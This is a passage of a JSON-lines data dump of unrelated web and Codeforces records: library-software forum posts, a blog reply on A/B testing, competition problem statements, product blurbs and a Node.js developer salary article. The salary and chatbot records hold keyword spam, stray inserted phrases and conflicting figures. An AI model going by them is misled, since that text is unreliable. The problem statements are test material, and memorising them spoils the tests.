BiblioCopy::validateData(), called in C:\\xampp\\htdocs\\openbiblio\\catalog\\upload_csv.php on line 275 and defined in C:\\xampp\\htdocs\\openbiblio\\classes\\BiblioCopy.php on line 43 It only happens when my .csv file includes a column for \"barCo\". When I remove that column, the file tests just fine. The problem is...\n2013-05-22 05:42:48 PDT by michaeldroush\nThanks. Yes, adding the neccesary .layout line in the report file was indeed all that was wrong. I'll need to make a note of that somewhere for the next time I can't remember! For copies.rpt I'm using the \"Copy Search (Extended)\" from 0.6.1 rather than the one included with 0.7.1.\n2013-05-06 20:05:44 PDT by https://www.google.com/accounts\n[excerpt from direct communication] OpenBiblio downloads are offered through SourceForge and these are mirrored automatically. http://sourceforge.net/apps/trac/sourceforge/wiki/Mirrors Help is still appreciated, especially for answering messages in the forums and improving the documentation in our wiki.\n2013-05-06 03:25:59 PDT by infinite-mnkz\nCorrect. An easy fix is overwriting the 0.7.1 .rpt files with the files from the 0.6.1. installation, except for the reports that were updated for 0.7.1 (copies.rpt, members.rpt, popularBiblios.rpt).\n2013-05-06 03:18:28 PDT by infinite-mnkz\nI think I may have found the problem. I had completely forgotten that the .rpt files need to be edited as well to include which printable layouts can be accessed after the report is run. Will try this.\n2013-05-05 19:48:26 PDT by https://www.google.com/accounts\nUpdate ... This is still stumping me. I thought for a second I had it figured out when I realized I had renamed my custom label file and then not changed the class name to match, but after editing that I still had no success. After I run a report, the only options for printing that will display under \"Report Results\" are from labels.php and list.php. Why can't I get anything else from...\n2013-05-05 17:42:42 PDT by https://www.google.com/accounts\nI just upgraded from 0.6.1 to 0.7.1 and now when I go to print labels from a report, no options are showing as before. I have a customized label file in ./layouts but neither that nor any of the included in ./layouts/default are showing in the menu. I sort of feel like I've been in this spot here before a year or two ago with the previous installation. Is there some configuration setting...\n2013-05-04 18:37:25 PDT by https://www.google.com/accounts\nGood afternoon, I have a home web server running Debian Stable with 250GB of disk space. I'm not going to be using all of that myself, so I'm wondering if the devs would mind if I use part of the drive to create a publically-accessible mirror of OpenBiblio. I have no knowledge of PHP or any kind of coding, so this seems to be the most obvious way I can help. I'm in southern California, if...\n2013-05-04 12:58:14 PDT by zlanvok\nHi, This is for a not for profit organisation looking at serving it's members with an online library facility. We are looking for some customisation in the area of look and feel and few other things. Any one interested, please mail me to bapajan at yahoo dot co dot uk Regards.\n2013-04-30 03:43:05 PDT by bapajan\nHello, Thank you for your support. I'm gonna try!\n2013-04-22 02:15:37 PDT by llimoner", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Windows Authentication in DTS package help\nPosted on 2007-07-30\nI have a DTS package on a SQL server scheduled to run as a Job. This package connects to a remote SQL server to grab data and update local tables. In the past, we had a SQL login for the remote server, and the connection in the DTS was configured using \"SQL Server Authentication\" with that ID.\nDue to security requirements, no more SQL logins are allowed, and all connections have to be made using Windows Authentication. We created a new domain acccount and granted the necessary access on the remote and local servers.\nThe question is: How can I setup my DTS or Job to connect to that remote server using that domain ID? Changing the identity of my local SQL Agent would create all sorts of problems and require other changes that I prefer not to make. Also, in the future, I might need a different ID to connect to other remote databases. Is this possible? Please help.\nThanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 213, "token_count_with_eod": 214, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Yesterday my phone started buzzing more than usual with Twitter updates. Turns out our working paper on A/B testing has attracted the attention of a few notable academics on Twitter. Again.\nI'm not sure what prompted this new wave of attention. Perhaps it was the fact we uploaded a new version to SSRN. Perhaps it is those end of year summaries I see people making.\nOne tweet, however, from Ron Kohavi, Microsoft VP of Analysis and Experimentation, was interesting:\nClaim of widespread p-hacking sensationalized in paper suffering lack of external validity on two axes: skew due to massive selection bias and time bias.\n— Ronny Kohavi (@ronnyk) December 16, 2018\nYou can see the linked(in) post here: https://www.linkedin.com/pulse/p-hacking-ab-testing-sensationalized-ronny-kohavi/\n\"Oh, dear\", I was thinking to myself. Kohavi is one of the stars of the A/B testing world. What's up with that?\nI will address Kohavi's points below, to the best of my understanding of the issues he raised. I am not sure what prompted this \"sensational tweet\", but I very much welcome feedback about our paper. I hear that email still works as a technology, though.\nTL;DR: Don't be that person that doesn't read an entire post because it'll take you 3 minutes. You'll end up like those who make judgement calls about papers based on Tweets by other people:\n1. \"Selection bias\" - Kohavi says \"Optimizely’s product was designed for the uninformed, so there is massive selection bias.\" By \"selection bias\" Kohavi means that the sample of people in our data who use the platform to run experiments is not representative of the behavior of \"normal\" (\"informed\") experimenters.\nThe fact is that Optimizely is the largest (as far as I can tell) 3rd party A/B testing provider, which is why we worked very hard to convince them to share data with us. The median experimenter in our dataset had run 184 experiments before we collected our data, and there are over 900 of them in our dataset. The platform had over 9,000 experiments started on it in the data collection window. This is more than 6 times higher than what Kohavi mentions they ran on Bing in roughly the same time period (though I am sure Bing.com experiments are larger in sample size).\nA study that analyzes experimenter behavior in the wild, on a widely used A/B testing platform, has a lot of external validity about how businesses behave when they experiment. The findings might not apply to Microsoft, or Facebook, but these companies do not need our help in analyzing their internal experiments. In contrast, deriving conclusions from studies about experiments that are run internally at Microsoft or Facebook probably apply less to a \"normal\" business.\n2. \"Selection bias\" (2) - Even \"uninformed\" experimenters should have noticed if, experiment after experiment, their decisions result in lower profit. This is basically the rational decision maker assumption we often make in our analysis. We wanted to test it, and we found interesting results.\n3. \"Selection bias\" (3) - Kohavi claims (or assumes) that informed decision makers do not make such mistakes.\nIn contrast to just claiming otherwise, our paper actually cites many references that show this is incorrect (medical doctors, informed academics and even statisticians make mistakes in interpreting results).\nSo to summarize - is our dataset representative? It is, if you're the type of A/B tester that runs experiments similar to those used on the platform we got the data from. Luckily, it applies to many if not most businesses.\n4. \"Time Bias\" - Kohavi says \"The paper’s external validity across time is therefore weak: most businesses who use A/B testing in the last 2-3 years are aware of the issue, and Optimizely's software improved.\"\nI am not sure where the \"most\" comes from in this sentence and what data supports this claim. Many businesses I encounter (and I encounter a wide variety of businesses as a business school professor) are not aware of this issue, or are aware but not sure of the details, or are not sure how to resolve it, etc.\nOptimizely's software has indeed improved, but was the problem resolved? Well, it depends on what problem we're talking about.\nFor this, I recommend that you read the paper and not just the abstract, but this is the gist of it: Optimizely's software in 2014 notified users they can stop an A/B test when the confidence metric was above 95% or below 5%.\nHowever, and this is a big HOWEVER, this is not where we found experimenters stopped their experiments. Many of them stopped when they reached 90% confidence. So the problem that people might have tried to solve since 2014 might not have been the relevant problem to solve.\nWhen I invest time and money in solving a problem, I prefer to know that the problem exists, and what the negative consequences of the problem are. This is what our paper tries to achieve. We simply ask: \"Was there a problem, and if there was, how prevalent was it and what consequences did it have\".\nWe then just report our findings (and how we found them). It would also have been interesting if we found no p-hacking and low FDRs, and it was also interesting when we found there was p-hacking and that it did inflate the FDR. Both findings are interesting.\n5. \"Sensationalized\" - Kohavi uses words such as \"widespread\", \"sensationalized\", \"massive\" and \"bias\" in his text. By using \"bias\" he actually hints that our results are biased (although what he actually says is that the results are probably correct, just not generalizable).\nThe paper's abstract is pretty straightforward. It describes the findings of the paper (like any other abstract), and does not use any superlatives. We use very measured language in the paper, and our conclusions very carefully explain what we believe are limitations to conclusions from the data. We have never made any attempt to \"sensationalize\" the paper. We presented it at conferences, submitted it to peer review, did a standard Wharton podcast about it, etc. Nothing fancy or unique.\nSo on this point, I don't have a good answer. I'm not sure why Kohavi thinks our paper is sensational. Maybe he means \"sensationally interesting\"? 🙂\nTo summarize, what do we actually do in the paper? We test a tradeoff.\nOn one hand, experimenters should want to avoid false discoveries. It will lower their profits. They should notice it pretty quickly if they run many experiments. On the other hand, the platform was designed in a way that allows naive experimenters to make mistakes.\nWe went about seeing which one prevails. It turns out that mistakes prevailed (sometimes) but not where expected, and not in the form assumed.\nIsn't this an interesting finding?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1496, "token_count_with_eod": 1497, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I am looking for the answer too? Can anyone help?\nUniversal Flash Storage (UFS) Application development\nI would like to write an application to test memory transfers for my UFS device using WINAPI UFS host controller.\nAre there any sample application or guidelines provided by Microsoft on how to implement the drivers/ applications for UFS ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 69, "token_count_with_eod": 70, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Reference architecture for deploying Nginx on ECS, both as a basic static resource server, and as a reverse proxy in front of a dynamic application server.\nNGINX is a high performance HTTP server and reverse proxy which has achieved significant adoption because of its asynchronous event driven architecture which allows it to serve thousands of concurrent requests with very low memory footprint.\nAmazon EC2 Container Service (ECS) is a highly scalable, high performance container management service that supports Docker containers and allows you to easily run applications on a managed cluster of Amazon EC2 instances.\nThis reference architecture shows how to run NGINX containers on a fleet of instances using ECS. You can deploy Nginx as a basic static HTTP file server. Or you can deploy an Nginx reverse proxy container in front of an application container.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 164, "token_count_with_eod": 165, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "- Deploy kaleo-web\n- Set Single approver workflow for users\n- Deploy Social Office\n- Create a SO site\n- Invite a member by e-mail\n- User gets the invitation by e-mail\n- User follows the registration link and creates an account\n- Admin approves the registration and adds the user to SO\n- User receives a mail about the registration\n- User logs in\nUser doesn't get a notification about the invitation to the site.\nUser gets a notification about the invitation to the site.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 105, "token_count_with_eod": 106, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "cclite is a lightweight implementation of a community currency registry for local exchange trading systems (LETS) and other alternative money systems. It uses multi-registry, multi-currency, Web-services-based (SOAP) transactions, and is templated to give multi-lingual properties. As of 2009, it has an SMS interface and versions for Debian, cpanel-based, Fedora and Windows XP. As of 2012 it has decimal currencies, templates for many languages, and a REST-style interface for integration with CMS and social networking software.\nThe RepairsLab system allows you to manage the entry and exit of equipment repair in a small workshop for repairs or service center. The application allows the printing of a \"Repairs sheet\" for each device and manages the state of repair. Inside the Repairs ticket, you can enter the features of the delivered and the state of repair. The system provides management of different master data for definition of states of repair, customers, types of equipment, trademarks, and models. You can print a paper \"Repairs sheet\" in duplicate to store paper and as a delivery receipt for the customer.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 234, "token_count_with_eod": 235, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Adam Devine is the CMO of WorkFusion, architects of AI-powered products that automate customer service functions as well as other business processes. According to Devine, “Adding natural language processes and machine learning changes everything, giving virtual customer assistants (VCAs) the ability to determine not just what rules-based action to take based on a word, but to understand the meaning of words in different combinations, ask questions to create context and intent, and actually do something for the customer.”\nchatterpal coupon code\nIts Alive helps you make chatbots for tour Facebook page. It enables you to engage with your Facebook community 24×7 with automated content to improve your response time significantly. Chatbots can be used to drive conversations. It can handle frequently asked questions directly through the chatbots by detecting keywords in Facebook Messenger. And it helps you broadcast your messages.\nAre you tired of using a traditional vacuum? Or tired of constantly sweeping and dusting to keep your floors clean and clear of dust, dirt, hair, and dander? It’s time to throw out the old ways and embrace the new. And the future is… robot vacuums! In this review of the CleanBot Robot Cleaner, we’ll share how it can help your lifestyle to become more carefree, and – more importantly – cleaner! Use it at home or in the office. There are so many ways it can make things easier. For instance, if you have pets, it’s a great way to stay on top of the dander. Especially if you or a loved one suffers from animal allergens. The automated CleanBot will transform the way you do your chores and keep things clean. If you already know you want the CleanBot Vacuum for your robot vacuum needs, tap any button here now!\nChatfuel helps you make a Facebook chatbot without coding. You can use the editing tools to design chatbots. And you can set up conversational rules in the dashboard. The bot will use NLP to understand and recognize phrases, and will send users predefined answers. You can build a chatbot to serve as a customer service advisor, an event assistant, or a personal avatar. Chatfuel’s analytics technology provides insights about the performance of the bot.\nPros: Building a bot is really simple with their pre-made templates and a drag and drop flow diagram. We have been using Activechat to automate skills aka flows for different visitors (leads and vendors) and touchpoints through different growth tools (referral path to trigger skills). Broadcasting to 'tagged' subscribers is also straightforward. A real game changer.0\nChatterbot Platform or Chatbot Software are computer program which are designed to simulate an intelligent conversation with one or more human users via auditory or textual methods, for engaging in conversation. Chatterbot are text based conversation agent which can interact with human users through some medium, such as an instant message service. The primary aim of such simulation has been to fool the user into thinking that the program's output has been produced by a human. Programs doing this are referred to as Artificial Conversational Entities, talk bots, chatterboxes, chatter robot, chatterbot, chatbot, or chat bot. Some of the chatterbots use natural language processing systems, and some others scan for keywords within the input and respond with a reply with the most matching keywords, or similar wording pattern, from a textual database. Chatterbots are often integrated into dialog systems for various practical applications such as offline help, personalised service, or information acquisition.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 711, "token_count_with_eod": 712, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "When I started using Mozilla, I thought the sidebar's concept was very cool. I thought it would be even better if I could add RSS Sources to it. After some searching, I found DJ Adams mysidebar.pl. While DJ's work seemed like a fine start, it didn't work out that well for me. So I decided to take his lead and create my own incarnation of his work. The main component is sidebar.pl.\nIf you just want to cut to the chase and add a RSS Source to your Mozilla Sidebar, you can go to my Mozilla Sidebar Installer.\nTo truely utilize any of the code linked on this page you should be using Mozilla, the Netscape 6 Tech Preview, or the Neoplanet Netscape 6 Tech Preview. You can use the scripts hosted on my server by just installing a new sidebar with the Mozilla Sidebar Installer. Or you can download the scripts below and install them on your own server.\nDJ has done some addition work on Mozilla RSS Sidebars recently (8/29/02). You can read about it here. One aspect of what he has done involves standardising a method of specifying the location of the RSS feed for a particular source. This is done through tags, in the format specified here. DJ's new work is an excellent alternative/addition to what is available here.\nsidebar.pl is a RSS to HTML translator tuned for Mozilla sidebars. It could be used by itself to display RSS sources on a webpage, but there are better tools for that (see my RSS page).\nsidebar-inst.pl installs RSS Sources provided by the sidebar.pl script into Mozilla.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 334, "token_count_with_eod": 335, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "We develop robust technology solutions tailored to your business needs. If you need technology consultation, we will work with you to improve your processes and empower you to run your business without having to worry about technology.\nWe also specialize in creating software solutions built upon open source technology using agile methods. Creating functional software is much more than writing code. We can help you in any part of the process: requirements & design, construction, testing, and maintenance.\nRikuni means \"I have seen\" in Quechua, the language of the Incas. We believe software should be built using the Inca's core values of strength in design and beauty.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given two strings $$$s$$$ and $$$t$$$ consisting of lowercase Latin letters. Also you have a string $$$z$$$ which is initially empty. You want string $$$z$$$ to be equal to string $$$t$$$. You can perform the following operation to achieve this: append any subsequence of $$$s$$$ at the end of string $$$z$$$. A subsequence is a sequence that can be derived from the given sequence by deleting zero or more elements without changing the order of the remaining elements. For example, if $$$z = ac$$$, $$$s = abcde$$$, you may turn $$$z$$$ into following strings in one operation:\n\n1. $$$z = acace$$$ (if we choose subsequence $$$ace$$$);\n2. $$$z = acbcd$$$ (if we choose subsequence $$$bcd$$$);\n3. $$$z = acbce$$$ (if we choose subsequence $$$bce$$$).\n\nNote that after this operation string $$$s$$$ doesn't change.\n\nCalculate the minimum number of such operations to turn string $$$z$$$ into string $$$t$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "There are n cities in the country where the Old Peykan lives. These cities are located on a straight line, we'll denote them from left to right as c1, c2, ..., cn. The Old Peykan wants to travel from city c1 to cn using roads. There are (n - 1) one way roads, the i-th road goes from city ci to city ci + 1 and is di kilometers long.\n\nThe Old Peykan travels 1 kilometer in 1 hour and consumes 1 liter of fuel during this time.\n\nEach city ci (except for the last city cn) has a supply of si liters of fuel which immediately transfers to the Old Peykan if it passes the city or stays in it. This supply refreshes instantly k hours after it transfers. The Old Peykan can stay in a city for a while and fill its fuel tank many times.\n\nInitially (at time zero) the Old Peykan is at city c1 and s1 liters of fuel is transferred to it's empty tank from c1's supply. The Old Peykan's fuel tank capacity is unlimited. Old Peykan can not continue its travel if its tank is emptied strictly between two cities.\n\nFind the minimum time the Old Peykan needs to reach city cn.", "source": "cpt_codeforces", "language": "en", "token_count": 261, "token_count_with_eod": 262, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "03 December 2015Tweet Follow @RezoundTraining\nFor a limited time, take any Microsoft Certified Professional (MCP) exam, and get a free retake if you don’t pass!\nThe Second Shot requires you to have scheduled an exam to take between between July 12, 2015, and January 12, 2016. If you don't pass then you need to schedule an appointment for your free retake within the next 30 calendar days of the initial appointment.\nDisclaimer - we're providing this information purely to illustrate the main rules and can take no responsibility for your exam bookings made directly via Pearson / Microsoft.\nHere's an example:\nWe've added more details on 'Second Shot' further down this blog page.\nMicrosoft exams have a number of different questions types which are designed to test your understanding of the particular subject area. MeasureUp practise tests are designed to give you feedback on each of the exam objectives. Simply using practise tests isn't sufficient to master a subject area - you'll need a comprehensive approach covering the breadth and depth of the exam.\nIn our next blog post we'll expand on the ideas below and provide links for further free and discounted resources. For example, we're currently providing:\nTo help you with this we're providing comprehensive structured checklists so you know the breadth and depth of the exam's objectives.\nFor additional information about Second Shot and other offers, email us.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 303, "token_count_with_eod": 304, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Andrew often reads articles in his favorite magazine 2Char. The main feature of these articles is that each of them uses at most two distinct letters. Andrew decided to send an article to the magazine, but as he hasn't written any article, he just decided to take a random one from magazine 26Char. However, before sending it to the magazine 2Char, he needs to adapt the text to the format of the journal. To do so, he removes some words from the chosen article, in such a way that the remaining text can be written using no more than two distinct letters.\n\nSince the payment depends from the number of non-space characters in the article, Andrew wants to keep the words with the maximum total length.", "source": "cpt_codeforces", "language": "en", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "superscript — A superscript (as in x2, the mathematical notation for x multiplied by itself)\nphrase db._phrase |\n| | | | )*\nsuperscript identifies text that is to be\ndisplayed as a superscript when rendered.\nFormatted inline. Superscripts are usually printed in a smaller font and shifted up with respect to the baseline.\n
Example superscript The equation eπi + 1 = 0 ties together five of the most important mathematical constants.
", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 138, "token_count_with_eod": 139, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Location Based Customer Engagement\nSmartphone penetration has risen to over 56% of the Canadian population. Smartphone owners are becoming increasingly reliant on their devices with 66% accessing the Internet every day on their smartphone and most never leaving home without it . Harnessing this trend has never been more important for organizations seeking to capture and retain customers.\nProximity and geo-based marketing engagement allows organizations to provide the right information at the right time and the right place. This allows organizations to drive more revenue, improve customer experience, and develop deeper insights into visitors.\nPurple Forge Mobile Apps as a Service (MAaaS) supports comprehensive proximity-based and geo-based user engagement capabilities for iPhone; Android devices currently support a subset of features due to platform limitations.\nDuring the installation of a Purple Forge MAaaS-based application, users may give the application permission to access to their location (e.g. GPS location). In such cases the application can use this information to offer location-enhanced services for information discovery and alerting purposes.\nPurple Forge MAaaS information directories can be automatically sorted to show entries that are closest to the user based on their current location. The user can then view this information on a map and getdirections. This allows users to find retail or venue locations that are nearest to them.\nPurple Forge MAaaS supports geo-based (also known as geo-fenced) contextual alerts. One or more geographic regions may be specified, as a latitude / longitude and a radius. This means that Purple Forge MAaaS can be configured to take actions to provide information or collect anonymous business intelligence related to specific regions.\nActions can be configured that are associated with specified geographic regions. The actions can be triggered based on whether the user enters or exits specific regions. Available actions include: count entries and exits (anonymous counts), generate an alert message on the user’s phone, generate an alert message with a suggested website to visit (e.g. to offer the user an exit survey), generate an alert and show the user a specific directory information entry (e.g. to tell the user about events, venue specific updates (e.g. renovation updates), tell the user about special offers).\nProximity-based engagement is similar to that of geo-based engagement but is focused around initiating actions based on how close a person is to a location or thing that has a beacon physically associated with it.\nBeacons are small physical devices (as small as a quarter), which broadcast a radio signal that can be detected by smartphones. Note that “beacon” and “iBeacon” terms are often used interchangeably. iBeacon is an Apple specific implementation of a beacon.\nProximity to a beacon is viewed as “far”, “near”, or “close”.\nProximity-based use cases include:\n- Window advertising, e.g. pop-up offers or incentives to draw someone who is standing in front of a window display to come inside the store and make a purchase\n- Advertising, e.g. pop-up information which augments bill board signage\n- Offers and deals, e.g. present special offers to users based on their proximity to a specific product or entrance\n- Visitor communications, e.g. letting people know about venue changes due to renovations, or alerting visitors in the food-court about closing times and encouraging them to visit retailers prior to departing\n- Display a menu, e.g. a prospective customer who is standing in front of the entrance to a restaurant\n- Capture analytic information on users around a beacon, e.g. for a window display beacon it will be possible to count the number of users who pass in front of the window display\n- Offer on entry to a venue, e.g. contest entry, sign-up for newsletter, on-site events, special offers and deals", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 760, "token_count_with_eod": 761, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "On Sat, 21 Aug 2021 at 08:44, Leon Fauster via CentOS-devel wrote: > > On 20.08.21 19:36, Carl George wrote: > > Not exactly. Sometimes RHEL maintainers add digits after %dist, which > > results in NVRs like foo-1.0-1.module_el8.4.0+123+a0a0a0a0.1. It's > > not impossible to parse, but it's much more complicated that just > > ignoring everything after \".module\". > > > and BTW > > RH uses the plus sign after module and before %dist : > > RH:qemu-img-4.2.0-48.module+el8.4.0+11909+3300d70f.3.x86_64 > C8:qemu-img-4.2.0-48.module_el8.4.0+885+5e18b468.3.x86_64 > > is this intentional? As far as I know it is intentional to make it clearer to parsing tools that there was a difference. If they used a _ that would break some existing tools and if they used . (dot) it would break a lot more. Using the + was found to break the least of the ones that were being looked at in Fedora 27? days when this was being set up. [Basically various versions were tried, various tools were tested and all kinds of fun and 'laughter' when you find that your Nagios, corporate antivirus, etc now assumes your architecture is .885 versus .x86_64 or some other item. -- Stephen J Smoogen. I've seen things you people wouldn't believe. Flame wars in sci.astro.orion. I have seen SPAM filters overload because of Godwin's Law. All those moments will be lost in time... like posts on BBS... time to reboot.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 447, "token_count_with_eod": 448, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "January 30, 2014\nWe are excited to announce that we are accepting nominations for Work-Bench’s inaugural Enterprise 30 Under 30 list to recognize the hardworking individuals revolutionizing enterprise technology as we know it.\nIn an era of unprecedented technological innovation in the enterprise market - marked by the large-scale adoption of cloud-computing, the consumerization of IT, and new paradigms of distribution - never before have enterprise technology startups and their founders been so uniquely positioned to disrupt legacy vendors and redefine how the world’s largest companies work.\nFounded on the mission to provide a home to these intrepid entrepreneurs shaping the future of work, Work-Bench would like to recognize those outstanding individuals accelerating this paradigm shift in enterprise IT to more useful, powerful, and better designed business tools.\nWhether you run an enterprise technology startup or are innovating within an IT organization of a large corporation, we would love to hear from you. From data scientists to growth hackers, from developers to marketers, we want to know who is shaping the future of work.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Given a lowercase Latin character (letter), check if it appears in the string $$$\\texttt{codeforces}$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 25, "token_count_with_eod": 26, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "By doing so, you avoid the hassle of recruitment, HR, and legal obligations. You just hire an engineer to do a certain job on time and pay them only when the job is done well. At the same time, Indeed provides a much more detailed picture, with best math software a backend developer salary reaching up to $119,583 annually. For example, as Twitter, Spotify, Salesforce, and other companies decide to go full-flexible and cut on office spendings, they can pay the money saved to their now-remote workers.\nBe prepared to offer a competitive salary, and make sure youscreen your candidatesproperly. Sadly, there are no other sources that compare average salaries for Node.js developers in different states. Clearly, the data provided by different platforms differ from each other.\nWhat can I build with node js?\n- Real-Time Chat Application. Node.\n- Social Media Platform. Another usage for node js is a social media platform.\n- IoT (Internet of Things)\n- Streaming App.\n- Online Payment Processor.\n- Remote Collaboration Tool.\n- CRM Tool.\n- Single-Page Application.\nIn this blog, we will explore the Node.JS developer salaries in the USA. In addition, we will check out what Node.JS talents earn in the rest of the world. Collaborate with front-end developers to build an integrated application.\nAccording to Glassdoor, a Node.JS software engineer earns $103,551 per year as an average salary. Considering Latin America, the average salary of NodeJS developers in Colombia is $56K, in Argentina – $60K, in Mexico – $68K per year. But remember that developers’ salaries show the cost that developers earn for their job. Well, according to PayScale, an average base full stack software developer salary is $78,967.\nAlthough I had read a few Turing.com reviews about the onboarding process here, I never really expected it to be this awesome. My coordinator helped me in every single step- from getting hired by top Silicon Valley clients to making sure my needs were met at all levels. Companies should consider hiring a Node.js Developer when they need to develop fast and scalable network applications, data streaming applications, or any manner of collaborative tools.\nWhat does a NodeJS Developer do?\nIs node js a compiler?\nIn this way, Node.js development is very much like a more specialized form of full-stack development. However, businesses can expect to pay lower salaries in regions like Eastern Europe. You may be able to hire a Node.JS developer for $67K per year or more. In comparison, the cost of living is lower in regions like Eastern Europe.\nThey have a clear understanding of development using NodeJS and are often be mentored by their seniors for learning the ins and outs of programming in the real world. Junior developers often don’t hycm review have the knowledge of a lot of other programming languages apart from their area of expertise. They are helpful in basic coding tasks that do not require creating complicated solutions.\nRemote Node js developer jobs with U.S. companies in 2022\nThe United States is by far not the only location where Node.js engineers reside, so you might want to search abroad. Firstly, I will give an overview of some European countries based on PayScale data and will add information related to Israel for comparison. I will now aggregate and reiterate the previously mentioned data to help you understand the reasons behind higher or lower costs to hire a Node.js developer team in various regions. We will cover Node js developer responsibilities later on, and you will see they are not much different from any other full stack developer with JS expertise.\nAs a result, many Node.js developers have had some experience with otherlanguagesbefore. Curious, what is the average annual income for Node.js developers in the country? According to Payscale, it is around $59k (€48k) per year, while the hourly rate is $20 (€16). The average monthly salary for Node.js developers in Denmark, according to Salaryexplorer, is about $6,7 . At the same time, the salary for IT specialists with Node.js skills in Copenhagen is $7 . When trying to find out what Node.js developers’ salaries are in Europe, we should not forget that salaries vary for each European country.\nHiring developers from big US cities such as New York, Los Angeles, and San Francisco will cost you much more since the cost of living in these cities is very high. The annual salary in these regions is around $120,000, according to ZipRecruiter, and almost twice more for senior NodeJS engineers. It is the combination of our core business model and values that makes us different from others. We provide full-time, long-term projects to remote developers whereas most of our competitors offer more freelance jobs. We, at Turing, hire remote developers for over 100 skills like React/Node, Python, Angular, Swift, React Native, Android, Java, Rails, Golang, PHP, Vue, among several others.\nNode.js is a well-developed resource with an active community around it. That’s hardly surprising, given that there are more and more developers who have started using it for their own purposes. As demand grows, though, it will get more difficult to hire top Node.js developers.\nIn addition, most developers are “fluent” in several languages, which will affect the final figures. Average salaries are single data points and only one part of a bigger story. It’s expected that many respondents may earn significantly more or significantly less than these averages. However, we hope to map underlying trends by mapping the average salaries for different experience levels. Location is usually one of the biggest factors in how much compensation many developers are paid across the US. In such a vast country, salaries can vary widely from place to place.\nProminent Skills Affecting Software Developer Salary\nHowever, in our experience, the actual costs can be up to 20% higher . Add up the various benefits and be prepared to pay your Node.js engineer up to $119,624 a year. The average full stack developer salary rose by 3% in New York and by 5% in the SF Bay Area. Below the main factors shaping the average Node.js developer salary across the United States are discussed. As you probably know, Node.js developers are responsible for server-side development.\nOnce you clear these tests, you are eligible to apply to a wide range of jobs available based on your skills. Worldwide, tech companies are actively looking for experienced Node.js developers and practitioners. If you’re a Node.js developer looking for a remote job, you can apply at Turing.com.\nInstating a rewarding mentorship program can help form a productive long-term partnership within the team. Most importantly, a junior-level developer must aspire to learn the language better. To ensure they don’t make costly mistakes while doing so, it is a good practice to assign a more experienced mentor to them—a middle-level Node.js developer.\nLearn more about our current job openings and benefits of working at FSL. The whole HR process is very fast and smooth – just leave your requirements on the website and you will be immediately contacted. After agreeing on the type of your future team Mobilunity will start looking for candidates. Shortly after you will be given a list of potential hires to choose from.\nTo hire Nodejs developer might, in fact, be one of the smartest decisions for any business. A Node.js development company could assist you with plenty of things, which typically differ, depending on the company’s needs. Another task such a specialist could assist you with is back-end development, front-end integrations, and such. NodeJS is used by software engineers to write server-side code in addition to the client-side code, and they don’t need to learn a completely new language for it.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1642, "token_count_with_eod": 1643, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "- Worldbuilding 13.3k 13.3k 11 gold badge2424 silver badges4646 bronze badges\n- Personal Finance & Money 7k 7k 11 gold badge2020 silver badges2828 bronze badges\n- Politics 6.6k 6.6k 11 gold badge1313 silver badges2525 bronze badges\n- Biology 3k 3k 1515 silver badges1313 bronze badges\n- History 1.7k 1.7k 11 gold badge1111 silver badges1111 bronze badges\n- View network profile →\nTop network posts\n- 87 My parents claim they cannot pay for my college education; what are my options?\n- 81 How come large herbivores have such thin legs?\n- 79 how do you value what your leisure time is worth?\n- 78 Why don't US presidential candidates get thrown into jail by their opponent during election?\n- 74 Was the \"natural born citizen\" requirement for the President inserted into the US Constitution by Alexander Hamilton's enemies?\n- 65 Wasp hives in a walking corpse. Why would wasps do this?\n- 58 Why do people save so much?\n- View more network posts →", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 294, "token_count_with_eod": 295, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "A patient has been infected with an unknown disease. His body can be seen as an infinite grid of triangular cells which looks as follows:\n\nTwo cells are neighboring if they share a side. Therefore, each cell ($$$x$$$, $$$y$$$) has exactly three neighbors:\n\n- ($$$x+1$$$, $$$y$$$)\n- ($$$x-1$$$, $$$y$$$)\n- ($$$x+1$$$, $$$y-1$$$) if $$$x$$$ is even and ($$$x-1$$$, $$$y+1$$$) otherwise.\n\nInitially some cells are infected, all the others are healthy. The process of recovery begins. Each second, for exactly one cell (even though there might be multiple cells that could change 